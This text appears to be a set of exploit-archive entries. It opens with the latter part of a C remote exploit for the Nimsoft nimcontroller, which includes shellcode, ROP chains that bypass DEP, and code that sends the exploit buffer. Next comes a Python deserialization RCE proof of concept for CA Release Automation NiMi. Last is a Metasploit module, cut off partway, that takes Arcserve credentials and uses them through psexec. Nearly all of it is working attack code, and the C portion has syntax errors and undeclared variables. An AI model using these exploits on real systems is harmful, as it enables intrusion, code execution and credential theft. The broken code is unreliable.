"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

const char *exploited[] = \
{
  "10.0.18362",
  "6.3.9600",
};

const char *versions[]= \
{
  "7.80 [Build 7.80.3132, Jun  1 2015]",
};

/********************************************************************************************************************
 *                                                                                                                  *
 * NimsoftProbe:                                                                                                    *
 *                                                                                                                  *
 *    This is the structure used for the packet generator, it will be used specifically as the return type. Within  *
 *    the structure there are 2 members, first the pointer to the packet and secondly the packet length.            *
 *                                                                                                                  *
 * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer):                                      *
 *                                                                                                                  *
 *    This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
 *    few modifications where made to handle the exploit buffer (mainly since it contains NULLS).                   *
 *                                                                                                                  *
 ********************************************************************************************************************/

#define PHLEN 300   /* header      */
#define PBLEN 2000  /* body        */
#define PALEN 10000 /* argv        */
#define FPLEN 20000 /* final probe */

#define CLIENT "127.0.0.1/1337"

#define INTSIZ(x) snprintf(NULL, 0, "%i", x)

unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
                                    /* nimbus header */
"\x6d\x74\x79\x70\x65\x0F"          /* mtype         */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F"  /* 7.4.100       */
"\x63\x6d\x64\x0F"                  /* cmd           */
"\x37\x0F%d\x0F"                    /* 7.x           */
"%s\x0F"                            /* probe         */
"\x73\x65\x71\x0F"                  /* seq           */
"\x31\x0F\x32\x0F\x30\x0F"          /* 1.2.0         */
"\x74\x73\x0F"                      /* ts            */
"\x31\x0F%d\x0F"                    /* 1.X           */
"%d\x0F"                            /* UNIX EPOCH    */
"\x66\x72\x6d\x0F"                  /* frm           */
"\x37\x0F%d\x0F"                    /* 7.15          */
"%s\x0F"                            /* client addr   */
"\x74\x6f\x75\x74\x0F"              /* tout          */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F"  /* 1.4.180       */
"\x61\x64\x64\x72\x0F"              /* addr          */
"\x37\x0F\x30\x0F";                 /* 7.0           */

typedef struct {
  char *packet;
  int length;
} NimsoftProbe;

NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
  int index = 0;
  int fmt_args;
  int lbody = 0;
  int largs = 0;
  char *tptr;
  char pheader[PHLEN];
  char pbody[PBLEN];
  char pargs[PALEN];
  char pbuffer[FPLEN];
  char temp_buffer[80];
  char *probe = lparams[0];

  int epoch_time = (int)time(NULL);

  NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));

  fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
    (strlen(probe)+1),
    probe,
    (INTSIZ(epoch_time)+1),
    epoch_time,
    (strlen(CLIENT)+1),
    CLIENT
  );

  if ((fmt_args + sizeof(packet_body)) > PBLEN) {
    printf("Failed to generate packet body\n");
    exit(-1);
  }

  lbody = snprintf(pbody, PBLEN, packet_body,
    (strlen(probe)+1),
    probe,
    (INTSIZ(epoch_time)+1),
    epoch_time,
    (strlen(CLIENT)+1),
    CLIENT
  );

  for (i = 1; i < nparams; i++)
  {
    memset(temp_buffer, '\0', 80);

    for (j = 0; j < strlen(lparams[i]); j++)
    {
      if ((c = lparams[i][j]) == '=')
      {
        memcpy(temp_buffer, lparams[i], j);
        index = ++j;
        break;
      }
    }

    tptr = lparams[i];

    if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
      largs += snprintf(pargs+largs, c, "%s", temp_buffer);
      largs++;
    } else {
      printf("Failed to generate packet arguments\n");
      exit(-1);
    }

    if (index > 0 && exploit_buffer == 0)
    {
      tptr = tptr+index;

      if ((largs + strlen(tptr) + 2) < PALEN)
      {
        largs += snprintf(pargs+largs, 2, "%s", "1");
        largs++;

        largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }

      c = 1, c += strlen(tptr);
      if ((largs + c) < PALEN)
      {
        largs += snprintf(pargs+largs, c, "%s", tptr);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }
    }

    if (index > 0 && exploit_buffer > 0)
    {
      tptr = tptr+index;

      if ((largs + exploit_buffer + 2) < PALEN)
      {
        largs += snprintf(pargs+largs, 2, "%s", "1");
        largs++;

        largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }

      c = 1, c += exploit_buffer;

      if ((largs + c) < PALEN)
      {
        memcpy(pargs+largs, tptr, c);
        largs += exploit_buffer;
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }
    }
  }

  index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
  index += lbody;

  if (index < FPLEN) {
    strncat(pbuffer, pbody, lbody);
  } else {
    printf("Failed to concatenate packet body\n");
    exit(-1);
  }

  for (i = 0; i < index; i++)
    if (pbuffer[i] == '\x0f')
      pbuffer[i] = '\x00';

  if ((index + largs) < FPLEN) {
    for (i = 0; i < largs; i++)
      pbuffer[index++] = pargs[i];
  }
  else {
    printf "Failed to concatenate packet arguments\n");
    exit(-1);
  }

  probePtr->packet = pbuffer;
  probePtr->length = index;

  return probePtr;
}

/*********************************************************************************************************************
 *                                                                                                                   *
 * int parse_directory(char *response, int length):                                                                  *
 *                                                                                                                   *
 *    This function will parse the directory contents, specifically looking for the entry keyword;  if found, we can *
 *    proceed with exploitation.                                                                                     *
 *                                                                                                                   *
 * int check_vulnerability(char *rhost, int rport):                                                                  *
 *                                                                                                                   *
 *    This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once   *
 *    sent the returned packet will be parsed by parse_directory.                                                    *
 *                                                                                                                   *
 *********************************************************************************************************************/

#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"

int parse_directory(char *response, int length)
{
  int i;
  int backup;
  int check = 0;
  int index = 0;

  char buf[80];
  struct tm ts;
  time_t capture;

  if (strncmp(response, "nimbus/1.0", 10) != 0)
    return -1;

  while (index < length)
  {
    if (strcmp("entry", (response+index)) == 0)
      printf("%s Persistence is an art\n\n", PG);

    if (strcmp("name", (response+index)) == 0) {
      backup = index;
      check = 1;

      /* last modified */
      for (int i = 0; i < 15; i++)
        index += strlen(response+index) + 1;
      capture = atoi(response+index);
      ts = *localtime(&capture);
      strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
      printf("%12s ", buf);
      index = backup;

      /* type */
      for (int i = 0; i < 7; i++)
        index += strlen(response+index) + 1;
      if (strcmp("2", (response+index)) == 0)
        printf("%7s", " ");
      else
        printf("%-7s", "<DIR>");
      index = backup;
      /* name */
      for (int i = 0; i < 3; i++)
        index += strlen(response+index) + 1;
      printf("%s\n", response+index);
    }
    index += strlen(response+index) + 1;
  }

  return (check != 1) ? -1 : 0;
}

int check_vulnerability(char *rhost, int rport)
{
  int c;
  int sock;
  int count;

  NimsoftProbe *probe;
  char response[BUFSIZ];
  struct sockaddr_in srv;
  char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };

  probe = packet_gen(get_directory_listing, 3, 0);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;
  printf("%s Verifying vulnerable probe is reachable\n", PI);

  send(sock, probe->packet, probe->length, 0);
  count = read(sock, response, BUFSIZ);

  if (parse_directory(response, count) == 0)
    printf("\n%s Target ready for exploitation\n", PG);
  else
    return -1;

  free(probe);
  close(sock);

  return 0;
}

/********************************************************************************************************************
 *                                                                                                                  *
 * char *nimdex(char *haystack, char *needle, int size):                                                            *
 *                                                                                                                  *
 *    This function works similar to strstr, however it was specifically made to index "keys" to their respective   *
 *    "values" within a Nimbus packet. It has only been tested against the get_info packet.                         *
 *                                                                                                                  *
 * int parse_response(char *response, int length):                                                                  *
 *                                                                                                                  *
 *    This function leverages nimdex to perform 2 checks. The first check will verify the target operating system   *
 *    has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has  *
 *    a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
 *    my ROP chain being universal.                                                                                 *
 *                                                                                                                  *
 * int check_version(char *rhost, int rport):                                                                       *
 *                                                                                                                  *
 *    This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent   *
 *    the returned packet will be parsed by parse_response.                                                         *
 *                                                                                                                  *
 ********************************************************************************************************************/

char *nimdex(char *haystack, char *needle, int size)
{
  int found = 0;
  int index = 0;

  if (strncmp(haystack, "nimbus/1.0", 10) != 0)
    return NULL;

  while (index < size)
  {
    if (strcmp(needle, (haystack+index)) == 0)
      found = 2;
    else if (found >= 2)
      found++;
    if (found == 5)
      return &haystack[index];
    index += strlen(haystack+index) + 1;
  }
  return NULL;
}

int parse_response(char *response, int length)
{
  int i;
  int c;
  char *ptr;
  int check = 0;
  int nv = sizeof(versions)/sizeof(versions[0]);
  int ne = sizeof(exploited)/sizeof(exploited[0]);

  if ((ptr = nimdex(response, "os_minor", length)) == NULL)
    return -1;
  printf("%s Probe successful, detected: %s\n", PI, ptr);

  if ((ptr = nimdex(response, "os_version", length)) == NULL)
    return -1;

  for (i = 0; i < ne; i++)
    if ((strcmp(exploited[i], ptr)) == 0)
      check = 1;

  if (check != 1)
  {
    printf("%s Exploit has not been tested against OS version\n", PE);
    printf("%s Continute exploitation (Y/N): ", PE);

    c = getchar();
    if (tolower(c) != 'y')
      exit(-1);

    printf("%s If exploitation successful, update code!!!\n", PI);
    if ((ptr = nimdex(response, "os_version", length)) == NULL)
      return -1;
    printf("%s Target OS ID: %s\n", PI, ptr);
  }
  else
    printf("%s Target OS appears to be exploitable\n", PI);

  check = 0;

  if ((ptr = nimdex(response, "version", length)) == NULL)
    return -1;

  for (i = 0; i < nv; i++)
    if ((strcmp(versions[i], ptr)) == 0)
      check = 1;

  if (check != 1) {
    printf("%s Exploit has not been tested against target build\n", PE);
    exit(-1);
  } else
    printf("%s Nimbus build appears to be exploitable\n", PI);

  return 0;
}

int check_version(char *rhost, int rport)
{
  int c;
  int sock;
  int count;
  NimsoftProbe *probe;
  char response[BUFSIZ];
  struct sockaddr_in srv;
  char *get_operating_sys[] = { "get_info", "interfaces=0" };

  probe = packet_gen(get_operating_sys, 2, 0);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;

  printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);

  send(sock, probe->packet, probe->length, 0);
  count = read(sock, response, BUFSIZ);

  if ((parse_response(response, count) != 0)) {
    printf("%s Probe failed, unable to parse packet\n", PE);
    exit(-1);
  }

  free(probe);
  close(sock);

  return 0;
}

/*****************************************************************************************************************
 * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail.         *
 * I had VP work 50% of the time when the stack was unaligned.                                                   *
 *****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {

[0 ... 19]    = 0x0000000140018c42, // ret (20 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
                0x00000001400af237, // pop rdi ; ret
                0x0000000000000007, // alignment for rsp
                0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};

/*****************************************************************************************************************
 * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
 * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated,  *
 * we needn't worry about other Windows OS's.                                                                    *
 *****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {

// RAX -> HMODULE GetModuleHandleA(
//  ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14]    = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[24 ... 33]   = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x00000000000009dd, // offset to "kernel32.dll"
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] =   0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400b741b, // xchg eax, ecx ; ret
                0x0000000140002ef6, // pop rax ; ret
                0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
                0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] =   0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> FARPROC GetProcAddressStub(
//   ( RCX == &addr    ) HMODULE hModule,
//   ( RDX == *module  ) lpProcName
// );
                0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[83 ... 92]   = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x0000000000000812, // offset to "virtualprotectstub"
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110]  = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
                0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
                0x0000000140002ef6, // pop rax ; ret
                0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
                0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> BOOL VirtualProtectStub(
//   ( RCX == *shellcode          ) LPVOID  lpAddress,
//   ( RDX == len(shellcode)      ) SIZE_T  dwSize,
//   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
//   ( R9  == *writeable location ) PDWORD  lpflOldProtect,
// );
                0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
                0x000000014013d651, // pop r12 ; ret
                0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
                0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, //
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x000000000000059f, // (offset to *shellcode)
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400b741b, // xchg eax, ecx ; ret
                0x00000001400496a2, // pop rdx ; ret
                0x00000000000005dc, // dwSize
                0x00000001400bc39c, // pop r8 ; ret
                0x0000000000000040, // flNewProtect
                0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
                0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x0000000000000317, // (offset to our shellcode)
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};

/********************************************************************************************************************
 *                                                                                                                  *
 * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]):                               *
 *                                                                                                                  *
 *    This function will generate a rop chain and store it in the buffer passed as the first argument. The return   *
 *    value will contain the final ROP chain size.                                                                  *
 *                                                                                                                  *
 ********************************************************************************************************************/

#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))

int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
  int i, j, k;
  int chain_size = 0;

  for (i = 0; i < gadgets; i++)
    for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
    {
      *buffer++ = ((rop_gadgets[i]>>k)&0xff);
      chain_size++;
      k += 8;
    }

  return chain_size;
}

#define MAX_EXPLOIT_BUFFER 9000

unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
  int r1, r2, c;
  char rop_chain[20000];
  unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";

  memset(buffer     , 0x41, 1000);  // Offset
  memset(buffer+1000, 0x0F, 33);
  memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
  memset(buffer+1041, 0x41, 7);     // Adjustment for the initial chain

  /* generate the first rop chain to perform stack alignment */
  r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
  memcpy(buffer+1048, rop_chain, r1);
  c = r1 + 1048;

  /* adjust for second stage */
  memset(buffer+c, 0x57, 631);
  c += 631;

  /* generate the second rop chain to perform DEP bypass */
  r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
  memcpy(buffer+c, rop_chain, r2);
  c += r2;

  /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
  memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
  c += (3500 - (r1 + r2 + 631));

  memcpy(buffer+c, "kernel32.dll\x00", 13);
  c += 13;

  memcpy(buffer+c, "VirtualProtect\x00", 15);
  c += 15;

  /* NOPS */
  memset(buffer+c, 0x90, 500);
  c += 500;

  /* shellcode */
  memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
  c += (sizeof(shellcode)-1);

  /* filler */
  memset(buffer+c, 0x10, (8000 - c));

  return buffer;
}

#define MAX_ARGUMENTS 5

void help()
{
  printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
  printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
  printf("optional arguments:\n");
  printf("  -h, --help                  show this help message and exit\n");
  printf("  -t TARGET, --target TARGET  target host to probe\n");
  printf("  -p PORT, --port PORT        nimcontroller port\n\n");
  printf("examples:\n");
  printf("  ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
  exit(0);
}

int main(int argc, char **argv)
{
  int c;
  int sock;
  int rport;
  NimsoftProbe *probe;
  struct sockaddr_in srv;
  char *rhost, *port;
  char *params[MAX_ARGUMENTS];
  unsigned char *exploit_buff;
  unsigned char buffer[MAX_EXPLOIT_BUFFER];
  unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";

  char *exploit[] = { "directory_list", final_buffer };

  while (1)
  {
    static struct option long_options[] =
    {
      {"help",    no_argument,        0, 'h'},
      {"target",  required_argument,  0, 't'},
      {"port",    required_argument,  0, 'p'},
      {0, 0, 0}
    };

    int option_index = 0;

    c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);

    if (c == -1)
      break;

    switch(c)
    {
      case 't':
        rhost = optarg;
        break;
      case 'p':
        port = optarg;
        break;
      case 'h':
      default:
        help();
        break;
    }
  }

  if (argc < 5)
    help();

  rport = atoi(port);

  if (check_version(rhost, rport) != 0) {
    printf("%s Failed to connect to target host\n", PE);
    exit(-1);
  }

  if (check_vulnerability(rhost, rport) != 0) {
    printf("%s Target failed vulnerability tests\n", PE);
    exit(-1);
  }

  printf("%s Generating evil nimbus probe, we're watching\n", PI);
  exploit_buff = generate_exploit_buffer(buffer);
  memcpy(final_buffer+10, exploit_buff, 8000);
  probe = packet_gen(exploit, 2, 8000);

  printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;

  send(sock, probe->packet, probe->length, 0);

  free(probe);
  close(sock);
}
            
# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Date: 2016-06-23
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) < 4:
    sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
    exit(1)
 
host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]

# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
    print 'Payload must be less than 5730 bytes. Try another one.'
    exit(1)

# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))

# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message

# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
    name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]

# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
    print 'Security is enabled. Sorry.'
    exit(1)

# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage

sock.sendall(payload)
sock.close()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
      'Description'    => %q{
          This module exploits an information disclosure vulnerability in the CA Arcserve
        D2D r15 web server. The information disclosure can be triggered by sending a
        specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
        disclosure the username and password in cleartext used for authentication. This
        username and password pair are Windows credentials with Administrator access.
      },
      'Author'         =>
        [
          'bannedit', # metasploit module
          'rgod', # original public exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-3011' ],
          [ 'OSVDB', '74162' ],
          [ 'EDB', '17574' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0d\x0a"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => 'Jul 25 2011',
      'DefaultTarget' => 0))


    register_options(
      [
        Opt::RPORT(8014),
      ], self.class )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: opts[:status],
      last_attempted_at: DateTime.now
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def exploit
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

    data  = "5|0|4|"
    data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
    data << "/contents/"
    data << "|2C6B33BED38F825C48AE73C093241510|"
    data << "com.ca.arcflash.ui.client.homepage.HomepageService"
    data << "|getLocalHost|1|2|3|4|0|"

    cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"

    res = send_request_raw({
      'uri'     => '/contents/service/homepage',
      'version' => '1.1',
      'method'  => 'POST',
      'cookie'  => cookie,
      'data'    => data,
      'headers' =>
      {
        'Content-Type'  => "text/x-gwt-rpc; charset=utf-8",
        'Content-Length' => data.length
      }
    }, 5)

    if not res
      fail_with(Failure::NotFound, 'The server did not respond to our request')
    end

    resp = res.to_s.split(',')

    user_index = resp.index("\"user\"")
    pass_index = resp.index("\"password\"")

    if user_index.nil? and pass_index.nil?
      # Not a vulnerable server (blank user/pass doesn't help us)
      fail_with(Failure::NotFound, 'The server did not return credentials')
    end

    user = resp[user_index+1].gsub(/\"/, "")
    pass = ""

    if pass_index
      pass = resp[pass_index+1].gsub(/\"/, "")
    end

    srvc = {
        :host   => datastore['RHOST'],
        :port   => datastore['RPORT'],
        :proto  => 'tcp',
        :name   => 'http',
        :info   => res.headers['Server'] || ""
      }
    report_service(srvc)
    if user.nil? or pass.nil?
      print_error("Failed to collect the username and password")
      return
    end

    print_good("Collected credentials User: '#{user}' Password: '#{pass}'")

    # try psexec on the remote host
    psexec = framework.exploits.create("windows/smb/psexec")
    psexec.register_parent(self)

    psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']

    if self.datastore['LHOST'] and self.datastore['LPORT']
      psexec.datastore['LHOST'] = self.datastore['LHOST']
      psexec.datastore['LPORT'] = self.datastore['LPORT']
    end

    psexec.datastore['RHOST'] = self.datastore['RHOST']

    psexec.datastore['DisablePayloadHandler'] = true
    psexec.datastore['SMBPass'] = pass
    psexec.datastore['SMBUser'] = user

    print_status("Attempting to login via windows/smb/psexec")

    # this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
    begin
      psexec.exploit_simple(
        'LocalInput'  => self.user_input,
        'LocalOutput' => self.user_output,
        'Payload'  => psexec.datastore['PAYLOAD'],
        'RunAsJob' => true
      )
    rescue
      report_cred(
        ip: datastore['RHOST'],
        port: 445,
        service_name: 'smb',
        user: user,
        password: pass,
        status: Metasploit::Model::Login::Status::INCORRECT
      )

